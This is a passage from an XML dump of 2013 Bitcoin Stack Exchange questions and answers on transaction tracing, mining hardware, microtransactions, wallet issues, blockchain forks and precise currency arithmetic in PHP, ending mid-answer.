  <row Id="12245" PostTypeId="2" ParentId="12243" CreationDate="2013-07-18T15:28:36.703" Score="1" Body="&lt;p&gt;The simplest way to get information about the transaction is to use the Blockchain web site.  They have some easy-use-tools that can show you which transactions the funds came from, and the submitting IP address.  Use the URL &lt;a href=&quot;http://blockchain.info/tx/_transactionid_&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/tx/&lt;em&gt;transactionid&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example: &lt;a href=&quot;http://blockchain.info/tx/cc4ffa39d766fadfc6bd48a2144492e6e7b07c9b4046f7edbad3ec63869dd071&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/tx/cc4ffa39d766fadfc6bd48a2144492e6e7b07c9b4046f7edbad3ec63869dd071&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think you'll get much information about the IP address, because addresses are not part of the transaction information.  A Bitcoin host only knows the address of the peer that relayed a transaction, which usually isn't the originating address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can trace what other transactions your donation came from, but putting a name to a bitcoin address can be difficult.  Your best bet might be to do a Google search for the address of some of the upstream transactions.  If someone used their well-known address for donating, then you might be able to find them.  But if the originating addresses were never put onto a web page by their owners, then you're out of luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are a government and the funds originated through one of the currency exchanges, you could use a warrant to get whatever information the exchange has on a transaction.  Given the state of privacy rights these days... well don't get me started.&lt;/p&gt;&#xA;" OwnerUserId="4139" LastActivityDate="2013-07-18T15:28:36.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12246" PostTypeId="2" ParentId="8439" CreationDate="2013-07-18T16:02:18.770" Score="10" Body="&lt;p&gt;The exact number of Bitcoins is not important.  Whether the end result is 1 million or 100 billion makes little real difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The important aspect here is the &lt;strong&gt;process&lt;/strong&gt;, not the quantity.  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;New Bitcoins enter the system in an orderly, predicable way.&lt;/li&gt;&#xA;&lt;li&gt;Outside forces cannot arbitrarily flood the currency with new money.&lt;/li&gt;&#xA;&lt;li&gt;An incentive is provided for people to apply their CPU power to make the currency more secure.&lt;/li&gt;&#xA;&lt;li&gt;Eventually, Bitcoin has to be self-supporting through transaction fees.  Hence the tapering off of blockchain rewards.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Having said all that, there are some psychological advantages to having a low limit like 21 million.  It was inevitable that people would see Bitcoin as being &quot;more valuable&quot; if the exchange rate for a whole Bitcoin was over $1.  Ensuring this &quot;high exchange rate&quot; but making the coins highly divisible was probably a conscious design decision.&lt;/p&gt;&#xA;" OwnerUserId="4139" LastActivityDate="2013-07-18T16:02:18.770" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12248" PostTypeId="2" ParentId="5155" CreationDate="2013-07-18T20:22:11.463" Score="0" Body="&lt;p&gt;The above-mentioned site, blockviewer.com, is now down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There should be some type of search/querying engine that allows you to find the addresses associated with a given address based on the classic user-generating algorithm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anecdotally, my university might be hosting such an engine by the end of the summer. We're also looking at Javascript-based visualization engines to host the data through.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sadly, however, it seems that no such visualizer (or even public data source) currently exists, as far as I can tell.&lt;/p&gt;&#xA;" OwnerUserId="5306" LastActivityDate="2013-07-18T20:22:11.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12249" PostTypeId="2" ParentId="10188" CreationDate="2013-07-18T20:40:53.490" Score="1" Body="&lt;p&gt;NameCoin was designed for more than just cryptocurrency aka money, currency, trading for cash - whatever it is you want to call it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is much like BitCoin because it's built on the original BitCoin source - BUT - it has quite a bit of additional things added to it for DNS functions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;check &lt;a href=&quot;http://namecoin.info&quot; rel=&quot;nofollow&quot;&gt;http://namecoin.info&lt;/a&gt; for more&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However - All of you that say it's NOT &quot;money&quot; - I'm confused at your reasoning. I can go to an exchange right now and trade Namecoins for USD ($$) just like BitCoins. I can also trade NameCoins for BitCoins and vice versa.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://vircurex.com/&quot; rel=&quot;nofollow&quot;&gt;https://vircurex.com/&lt;/a&gt; -&gt; Going rate per NameCoin today is 0.30001009 USD&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Might not be much - and it might never get as high as BitCoin one may argue (as it's main purpose is NOT to be &quot;Another BitCoin&quot;)...but the fact that it's built on BitCoin and you can merge mine both via pools, and exchange it for Cash money - I don't see how you can argue that it's NOT the same as BitCoin with more features/functions.&lt;/p&gt;&#xA;" OwnerUserId="6006" LastEditorUserId="2306" LastEditDate="2015-03-27T19:08:57.730" LastActivityDate="2015-03-27T19:08:57.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12250" PostTypeId="1" CreationDate="2013-07-18T20:46:02.280" Score="3" ViewCount="621" Body="&lt;p&gt;I do not remember being asked for a passphrase when I installed Bitocoin-Qt (0.8.2 - Beta) (though it was a couple months ago, I could be mistaken) and now am being asked for a passphrase.  I have no idea what it is.  Can this passphrase be reset?  If it cannot, are there restrictions on what can be used for the passphrase (i.e. only letters and numbers) ?&lt;/p&gt;&#xA;" OwnerUserId="6007" LastEditorUserId="105" LastEditDate="2013-07-21T11:58:46.023" LastActivityDate="2014-01-18T20:15:20.757" Title="Bitcoin-Qt wallet passphrase help" Tags="|wallet|bitcoin-core|passphrase|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12253" PostTypeId="2" ParentId="11829" CreationDate="2013-07-18T22:57:07.673" Score="1" Body="&lt;p&gt;I had the same problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I solved it by spawning a cgminer for each erupter using --usb :1 to limit each miner to 1 device  which gave me the performance back, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;i.e. 1xcgminer mapped to 1 erupter will drive it at 350mh but add a 2nd or a 3rd and performance disappears.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hadnt tried bfminer but I might as well now having seen your results &lt;/p&gt;&#xA;" OwnerUserId="6011" LastActivityDate="2013-07-18T22:57:07.673" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12256" PostTypeId="2" ParentId="3165" CreationDate="2013-07-19T07:34:06.933" Score="0" Body="&lt;p&gt;Do you even know what FLOPS are, first off?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FLOPS stands for FLoating-point OPerations per Second. Hashes are calculated via signed integers in the form of hexadecimal numbers, those numbers are then run through a series of logical operations (You know; AND, OR, NOR, XOR, NAND).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FLOPS means absolutely jack when it comes to your processing speed of your Hash Bashing rig (your crypto-currency mining computer).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ATI cards are known for their single-precision floating point performance over Nvidia, that much is true.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ATI also has better signed and unsigned integer performance than Nvidia does too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ATI has slightly better logical operations per second than Nvidia does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, floating point is screaming fast on the ATIs as compared to the Nvidia but it's too bad it's not actually being used for SHA256D and Scrypt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Integers both signed and unsigned actually take less time on the CPU or GP-GPU to calculate and thus much faster.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The logical operations are the slowest and since you use a combination of both logical and unsigned integer you get a composite average of the performance between the two and of course the implementation of the mining application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's done correctly, you should get around 85 to 90% maximum of what your card or embedded system claims it's capable of doing. Simply put, you will never achieve 100% because you have an operating system that is using the card and of course interfacing to the rest of the system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While the indicators tell you are getting 100% of the cores, what it's really means is that you are getting 100% of the 85 ~ 90% theoretical maximum you can achieve with the hardware you have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this clears things up for y'all.&lt;/p&gt;&#xA;" OwnerUserId="6016" LastActivityDate="2013-07-19T07:34:06.933" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12257" PostTypeId="2" ParentId="11909" CreationDate="2013-07-19T07:41:50.143" Score="2" Body="&lt;p&gt;I would recommend a basic knowledge of C++, and to play with Litecoin source code. If you have compiled programs in Linux, you're on the right path.&lt;/p&gt;&#xA;" OwnerUserId="6017" LastEditorUserId="5406" LastEditDate="2015-11-13T15:24:16.077" LastActivityDate="2015-11-13T15:24:16.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12258" PostTypeId="2" ParentId="3165" CreationDate="2013-07-19T07:43:04.120" Score="1" Body="&lt;p&gt;I will step up and answer the Raspberry Pi question too. The RPI in and of itself is not worth using to do virtual currency mining on by itself. However, if you a nice powered USB hub and connect in the ASICs that plug in via the USB ports and download the proper software that can access these devices, then you've got a descent mining rig to speak of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Due to the way in which the ASICs are designed, they can only do SHA256D and that alone although, performance per watt is the best way to go. Essentially, all the RPI does is act as the surrogate for all the ASIC slave units and constantly feeds them data and ferries the data hashes back and forth from their source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can't use Scrypt with these USB ASICs at all. You'll be stuck using the GETWORK protocol until someone can come up with an ASIC that can do both SHA256D and Scrypt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One last thing, you may have heard of the Stratum protocol vs. the old GETWORK protocol. This can be used with Scrypt or SHA256D algorithms. Stratum helps you get less stale and has even better network performance than the old protocol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this clears things up like my message above.&lt;/p&gt;&#xA;" OwnerUserId="6016" LastActivityDate="2013-07-19T07:43:04.120" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12262" PostTypeId="2" ParentId="12207" CreationDate="2013-07-19T10:32:44.143" Score="3" Body="&lt;p&gt;The answer is simple: if a country blocks off external internet access, its inhabitants effectively cannot use Bitcoin while the country is blocked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sure, the protocol will continue with a fork ... but this fork has no hopes of ever &quot;reconnecting&quot; with the main blockchain, so any blocks generated / signed in the fork are useless. The country will have effectively prohibited its denizens from using Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They can indeed use a specialized fork &lt;em&gt;designed&lt;/em&gt; for this country, or even the naturally-occurring forked copy, but the value of this fork will not be tied to the value of Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This scenario is not a real problem for Bitcoin, rather it's a problem for citizens of countries that are at risk of being disconnected from the internet. If you believe that your country will never execute such a separation, then you're safe.&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2013-07-19T10:32:44.143" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12263" PostTypeId="1" CreationDate="2013-07-19T12:21:47.303" Score="5" ViewCount="788" Body="&lt;p&gt;Say in a few years Bitcoin is where we hope it is, like $1000 or even $10000. In such a scenario one cent is about 1-10 microBitcoins (1 millionth or 0.000001 BTC).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my experience, attempting to use bitcoins for small transactions (even of order 0.001 BTC) usually either takes a very long time, or just doesn't get processed at all. It thus worries me that BitCoins cannot be used for small transactions which correspond to a big and important part of the economy (e.g. a kid buying a Popsicle, or giving a $1 tip, or buying bigger stuff in third world countries, etc.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone has a useful perspective on this issue?&lt;/p&gt;&#xA;" OwnerUserId="5960" LastEditorUserId="5960" LastEditDate="2013-07-24T20:15:20.833" LastActivityDate="2013-07-24T20:15:20.833" Title="Can the Bitcoin protocol support very small transactions effectively?" Tags="|transactions|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12264" PostTypeId="2" ParentId="12263" CreationDate="2013-07-19T12:45:19.413" Score="0" Body="&lt;p&gt;Currently bitcoin protocol does not suit very well for microtransactions&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://simondlr.com/post/46590540723/unfeasible-micro-transactions-in-bitcoin&quot; rel=&quot;nofollow&quot;&gt;http://simondlr.com/post/46590540723/unfeasible-micro-transactions-in-bitcoin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=196138.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=196138.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, there is some work going on which tries to work around limitations&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://thegenesisblock.com/off-chain-micropayments-implemented-in-bitcoinj/&quot; rel=&quot;nofollow&quot;&gt;http://thegenesisblock.com/off-chain-micropayments-implemented-in-bitcoinj/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5464" LastActivityDate="2013-07-19T12:45:19.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12265" PostTypeId="1" CreationDate="2013-07-19T12:51:07.043" Score="3" ViewCount="5170" Body="&lt;p&gt;I had been using my Bitcoin client for months on my Windows computer running XP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One day, I have trouble connecting to anything else on the internet, but my Bitcoin client seems to be running okay. When I restart my computer, my internet eventually comes back, but I've had &quot;0 connections&quot; to the Bitcoin network for the past 2 weeks since.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried sending a test payment, and that payment was deducted from my wallet, but it never got broadcast. I figure it will get out once I finally figure out my connection issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have my wallet backed up on a flash drive, but loading up that wallet data did nothing to help me establish network connections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am NOT stuck syncing. I'm just not connected or syncing at all. Everything else on my computer is otherwise running fine.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;What is the best address and port to connect to? Are there good backup options?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If all of my addresses are correct, how do I figure out why I have 0 connections to the Bitcoin network, and how can I either reset those connections or otherwise get up and running again?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="6020" LastEditorUserId="132" LastEditDate="2013-07-19T13:21:21.493" LastActivityDate="2014-10-15T21:30:41.860" Title="0 connections now, but I had been using Bitcoin QT for a while without problems" Tags="|bitcoin-core|network|windows|connection|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12267" PostTypeId="2" ParentId="12263" CreationDate="2013-07-19T14:26:09.877" Score="0" Body="&lt;p&gt;This is only my view and kind of skirts the question (but not really).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;microtransactions between individuals may use the blockchain, but as bitcoin (and others) grow, the services surrounding them will also and the transactions will move off of the blockchain.  Look at the current exchanges.  There are hundreds of transactions going on at any time.  None of them are in the block chain and they shouldn't be.  I see it moving this way commercially. &lt;/p&gt;&#xA;" OwnerUserId="6022" LastActivityDate="2013-07-19T14:26:09.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12268" PostTypeId="2" ParentId="12263" CreationDate="2013-07-19T15:08:30.667" Score="2" Body="&lt;p&gt;The answer is multifaceted.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Microtransactions were not a design goal of Bitcoin. Even if they're not well supported, that's ok.&lt;/li&gt;&#xA;&lt;li&gt;Off-chain transactions might be used if on-chain microtransactions are too expensive.&lt;/li&gt;&#xA;&lt;li&gt;There are a few possibilities to implement microtransactions on the blockchain. One such implementation was recently added to &lt;a href=&quot;http://thegenesisblock.com/off-chain-micropayments-implemented-in-bitcoinj/&quot; rel=&quot;nofollow&quot;&gt;bitcionj&lt;/a&gt;. Also see this interesting proposal for nondeterministic &lt;a href=&quot;https://en.bitcoin.it/wiki/Nanopayments&quot; rel=&quot;nofollow&quot;&gt;nanopayments&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Alt chains for microtransactions are a viable solution as well.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;TL;DR - it's not a problem.&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2013-07-19T15:08:30.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12269" PostTypeId="1" AcceptedAnswerId="12270" CreationDate="2013-07-19T21:22:25.963" Score="3" ViewCount="172" Body="&lt;p&gt;I was looking through the code for ABE, and I discovered that the relationship of blocks to transactions is many to many.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why are some transactions stored in the transaction lists of multiple blocks?&lt;/p&gt;&#xA;" OwnerUserId="6024" LastEditorUserId="105" LastEditDate="2013-07-20T11:07:37.313" LastActivityDate="2013-07-20T11:07:37.313" Title="Why is the relationship between tx and block many to many?" Tags="|transactions|blockchain|bitcoind|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12270" PostTypeId="2" ParentId="12269" CreationDate="2013-07-19T23:02:06.607" Score="3" Body="&lt;p&gt;Within one chain of blocks, every transaction can only occur once. However, the data structure people frequently call &quot;the block chain&quot; is actually a tree structure, with one root (the genesis block) and different branches. The longest valid branch of this tree is called the active block chain, but occassionally, during a reorganisation, nodes switch to another branch (usually only the last 1-2 blocks change). Any transactions that were in the old branch but not in the new are then attempted to be mined again when possible. This results in one transaction being in several blocks within the tree - but not the same chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There existed another way. Early on, there was a possibility for two coinbase transactions to be identical. This occurred in blocks at height 91842 and 91880. It has since been made illegal and later impossible through &lt;a href=&quot;https://en.bitcoin.it/wiki/BIP_0030&quot; rel=&quot;nofollow&quot;&gt;BIP30&lt;/a&gt; and &lt;a href=&quot;https://en.bitcoin.it/wiki/BIP_0034&quot; rel=&quot;nofollow&quot;&gt;BIP34&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2013-07-19T23:02:06.607" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="12271" PostTypeId="2" ParentId="12173" CreationDate="2013-07-19T23:28:58.200" Score="8" Body="&lt;p&gt;You really should not use floating point math for precision decimal values.  It is a little-regarded truth of computer programming that when you're dealing with money you should avoid the usual IEEE floating-point math like the plague.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;This is the reason why Bitcoin transactions store values as 64-bit integers.&lt;/strong&gt;  Because storing them as floating point numbers is error-prone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, in your interactive PHP shell you can do something like this to find out where your math begins to break:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;php &amp;gt; echo 10000.00000001 * 2;&#xA;20000.00000002&#xA;php &amp;gt; echo 100000.00000001 * 2;&#xA;200000.00000002&#xA;php &amp;gt; echo 1000000.00000001 * 2;&#xA;2000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm running 64-bit PHP, too.  If you are running 32-bit PHP the situation becomes pretty dire.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The take-away here is that overall precision of floating point numbers is limited.  The bigger your number, the fewer meaningful decimal places it can have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The correct way to address this problem is to use PHP's &lt;a href=&quot;http://php.net/manual/en/book.bc.php&quot;&gt;BC Math&lt;/a&gt; functions.  You keep your data as strings, and BCMath will let you perform arbitrary-precision computations.  It isn't as fast as floating point math, but it isn't exactly slow either.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/** Convert Satoshis to a string that can be displayed to users.&#xA; *  input: $value Integer or string that can be parsed as an int.&#xA; *  output: string (eg: &quot;1.00400000&quot;)&#xA; */&#xA;function convertToBTCFromSatoshi($value){&#xA;    return bcdiv( intval($value), 100000000, 8 );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to trim the zeros from the end of the output, you can use the &lt;code&gt;trim()&lt;/code&gt; function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rtrim($value, &quot;0&quot;); // trim zeros from the right-hand side&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4139" LastEditorUserId="4139" LastEditDate="2013-07-19T23:34:40.587" LastActivityDate="2013-07-19T23:34:40.587" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12272" PostTypeId="2" ParentId="10442" CreationDate="2013-07-20T02:37:38.253" Score="2" Body="&lt;p&gt;P2Pool works differently from most mining systems - it aims to have a completed &quot;mini-block&quot; about every 10 seconds, so latency of the p2pool hosting server is critical - milliseconds count.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it absolutely must be in a decent datacentre on a high-quality (aka not-cheap oversold contended junk) network, not on your home connection if you expect ever to get any mined income.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll also have to admin the server/os/software, apply patches and upgrades and generally maintain things which can be a full-time job.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd suggest you just join an existing one - find one &quot;close&quot; to your location - do a traceroute to it - the less hops and different networks the better.&lt;/p&gt;&#xA;" OwnerUserId="6025" LastActivityDate="2013-07-20T02:37:38.253" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12273" PostTypeId="2" ParentId="10442" CreationDate="2013-07-20T06:25:07.013" Score="1" Body="&lt;p&gt;The issue is latency between the p2pool network and the miner. Hosting your bitcoind instance in a datacenter will make little difference unless you move your mining too.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-07-20T06:25:07.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12274" PostTypeId="2" ParentId="12190" CreationDate="2013-07-20T07:26:10.887" Score="0" Body="&lt;p&gt;You can place my bitcoin price table on your site:&#xA;&lt;a href=&quot;http://coinrepublic.com/website-tools/&quot; rel=&quot;nofollow&quot;&gt;http://coinrepublic.com/website-tools/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;David&lt;/p&gt;&#xA;" OwnerUserId="6029" LastActivityDate="2013-07-20T07:26:10.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12275" PostTypeId="1" CreationDate="2013-07-20T11:55:13.597" Score="3" ViewCount="3185" Body="&lt;p&gt;I am trying to generate my own address using my GPU with oclvanitygen, but it seems like that it only displays the:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;CPU hash&lt;/li&gt;&#xA;&lt;li&gt;GPU hash, and &lt;/li&gt;&#xA;&lt;li&gt;Found delta&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;but not a private key?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea why? Vanitygen using CPU is displaying private key but not oclvanitygen.&#xA;I am using Windows 7 Ultimate 64 bit and Sapphire 7970&lt;/p&gt;&#xA;" OwnerUserId="6030" LastEditorUserId="6030" LastEditDate="2013-07-23T12:13:31.057" LastActivityDate="2020-06-22T13:20:40.757" Title="oclvanitygen not showing private key?" Tags="|private-key|vanitygen|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12279" PostTypeId="2" ParentId="12110" CreationDate="2013-07-21T01:41:49.677" Score="1" Body="&lt;p&gt;The &quot;???&quot;s mean that P2Pool has no estimate because nobody is mining on this node. &quot;Peer sent entire transaction ...&quot; is printed when a little bandwidth is wasted because peers are forwarding transactions needlessly.&lt;/p&gt;&#xA;" OwnerUserId="211" LastActivityDate="2013-07-21T01:41:49.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12280" PostTypeId="1" AcceptedAnswerId="12501" CreationDate="2013-07-21T01:52:17.607" Score="12" ViewCount="8125" Body="&lt;p&gt;I have a bitcoin wallet address (the private key is known by other people). I periodically receive payment on this address (and cannot change it/receive to other address).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need:&lt;br&gt;&#xA;When I receive a payment on it, automatically and immediately (at 0 confirmations, like in BlockChain.info wallet) send/forward them to my new wallet address (the private key is known only by me).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible and how?&lt;/p&gt;&#xA;" OwnerUserId="3363" LastEditorUserId="3363" LastEditDate="2019-02-15T09:00:09.037" LastActivityDate="2021-01-15T11:33:41.820" Title="How automatically to forward bitcoins from one address to another?" Tags="|transactions|client|blockchain-wallet-app|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12281" PostTypeId="1" CreationDate="2013-07-21T02:00:29.557" Score="0" ViewCount="405" Body="&lt;p&gt;I found an old wallet.dat, but I cannot import it and I don't know why.&lt;/p&gt;&#xA;" OwnerUserId="3363" LastEditorDisplayName="user3930" LastEditDate="2013-07-25T18:37:46.060" LastActivityDate="2013-07-25T18:37:46.060" Title="Failure trying to import old wallet.dat" Tags="|wallet.dat|" AnswerCount="1" CommentCount="4" ClosedDate="2013-10-11T18:47:15.373" ContentLicense="CC BY-SA 3.0" />
  <row Id="12283" PostTypeId="2" ParentId="12281" CreationDate="2013-07-21T05:11:56.673" Score="2" Body="&lt;p&gt;First off, is this your wallet. I know this is a dumb question but I always have to ask. Also, was this wallet &quot;encrypted&quot;? What version of the wallet did you use and was this wallet based on the same application you are using now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, Bitcoin Wallet Qt, you have to match it with the same product. I've noticed for example if I tried my wallet import doesn't work on other Bitcoin wallet applications, even if I have the password for the encryption correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should really be answered by the developer of said wallet and since I don't know which wallet you're using, I can't help you at the current time in this regard.&lt;/p&gt;&#xA;" OwnerUserId="6016" LastActivityDate="2013-07-21T05:11:56.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12286" PostTypeId="2" ParentId="12275" CreationDate="2013-07-21T05:56:45.517" Score="0" Body="&lt;p&gt;This may or may not have anything to do with your problem but it's worth looking into.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is your GPU a CUDA core based Nvidia card or an ATI GP-GPU based card, not a standard GPU from ATI (but fully programmable).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should download the OpenCL test suite to test your video card to see if it supports OpenCL 1 and 2, if it doesn't that would explain why you can't generate keys on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing, if you are using Linux or BSD, the open source drivers may not have the correct OpenCL commands and functions that the application you're using is looking for. Also, you need to download extra libraries and support files for accurate clocking, etc. It's a big 'ole mess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is better to do is if you're using Linux, is to get on an Long Term Support release, such as Ubuntu 12.04 LTS (latest release of it) and if using an ATI card or embedded chip set that does support OpenCL 1 &amp;amp; 2 in hardware to download the latest driver for said chip set. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: Pay close attention to the AMD website and don't try to install a driver that isn't not supported otherwise you're going to need to restart in single user mode to fix the damage manually, which is more than likely you're going to need to reinstall X-org from the command line. If you're not used to this by now, it's a pain in the rear end. (And this is coming from a Linux programmer). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe, this will have something to do with your problem or maybe not, at least it gives you a little hint to look else where other than just the applications you're currently trying to run.&lt;/p&gt;&#xA;" OwnerUserId="6016" LastActivityDate="2013-07-21T05:56:45.517" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12287" PostTypeId="2" ParentId="12265" CreationDate="2013-07-21T06:13:44.903" Score="0" Body="&lt;p&gt;This is a weird problem. I have seen it cut you off if you don't have IPv6 and the IPv4 to IPv6 virtual bridge (a service) running in the background, even if you don't have an IPv6 router nor IP and subnet address listed in your modem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if you're using Bitcoin-Qt, make sure you have the most recent version of the wallet and Pooler's CPU miner (minerd) installed, that can cause a problem too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I suggest doing is contacting the pool owner and find out if there is a problem with a said port and protcol, many people use Scrypt algorithm and not SHA256D anymore (unless you use ASICs) and they don't use the GETWORK protocol and port, they use the Stratum+TCP, which is default by many sites now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This might be your problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Turn off or unplug your router and modem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Drop to DOS and key this in at the prompt and hit ENTER.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ipconfig /flushdns &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plug in your modem first and wait for it to initialize and connect to the Internet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plug in your router and let it do it's thing and when it's up and running, type this at the command prompt and hit ENTER when done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ipconfig /renew&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that's done type in the following and hit 